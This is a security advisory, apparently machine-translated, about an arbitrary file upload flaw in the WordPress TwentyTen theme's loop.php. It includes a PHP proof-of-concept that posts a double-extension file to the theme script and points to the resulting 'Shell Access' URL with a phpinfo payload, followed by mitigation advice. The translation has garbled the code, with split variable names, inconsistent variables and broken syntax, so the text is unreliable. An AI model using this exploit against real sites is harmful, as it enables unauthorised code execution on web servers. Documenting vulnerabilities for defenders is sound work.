WordPress TwentyTen Theme 'loo. php' Arbitrary File Upload Vulnerability

Release date:
Updated on:

Affected Systems:
WordPress TwentyTen Theme 1.5.x
WordPress TwentyTen Theme 1.4.x
WordPress TwentyTen Theme 1.3.x
WordPress TwentyTen Theme 1.2.x
WordPress TwentyTen Theme 1.1.x
Description:
--------------------------------------------------------------------------------
Bugtraq id: 57073
 
WordPress TwentyTen is a modern, customizable, simple, and readable topic.
 
WordPress TwentyTen has the arbitrary PHP code execution vulnerability./wordpress/wp-content/themes/twentyten/loop. the php script does not correctly verify or filter user-uploaded files by submitting files with multiple file extensions. PHP file, which can bypass the security check. After the file is uploaded successfully, the remote system places the file in the accessible path. Directly requesting the uploaded file allows you to execute scripts with the permissions of the Web server.
 
<* Source: Agd_Scorp (vorscorp@hotmail.com)

Link: http://packetstormsecurity.com/files/119145/WordPress-TwentyTen-Shell-Upload.html
Http://osvdb.org/88822
*>

Test method:
--------------------------------------------------------------------------------

Alert

The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!
<? Php
 
$ Uploadfile = "scorp.php.gif ";
 
$ Ch =
Curl_init ("http://www.example.com/wordpress/wp-content/themes/twentyten/loop.php ");
 
Curl_setopt ($ ch, CURLOPT_POST, true );
Curl_setopt ($ ch, CURLOPT_POSTFIELDS, array ('file [] '=> "@ $ attachfile "));
Curl_setopt ($ ch, CURLOPT_POSTFIELDS, array ('opt [] '=> "@ $ connector? Rate = 50 & get_file = 0? Upload = "@ $ attachfile "));
Curl_setopt ($ ch, CURLOPT_RETURNTRANSFER, 1 );
$ PostResult = curl_exec ($ ch );
Curl_close ($ ch );
 
Print "$ postResult ";
 
?>
 
Shell Access: http://www.example.com/wordpress/wp-content/themes/twentyten/scorp.php.gif
Filename: $ postResult output
 
Scorp.php.gif
<? Php
Phpinfo ();
?>

Suggestion:
--------------------------------------------------------------------------------
Temporary solution:
 
If you cannot install or upgrade the patch immediately, NSFOCUS recommends that you take the following measures to reduce the threat:
 
* Disable WordPress TwentyTen topic
 
Vendor patch:
 
WordPress
---------
Currently, the vendor does not provide patches or upgrade programs. We recommend that users who use the software follow the vendor's homepage to obtain the latest version:
 
Http://wordpress.org/extend/themes/twentyten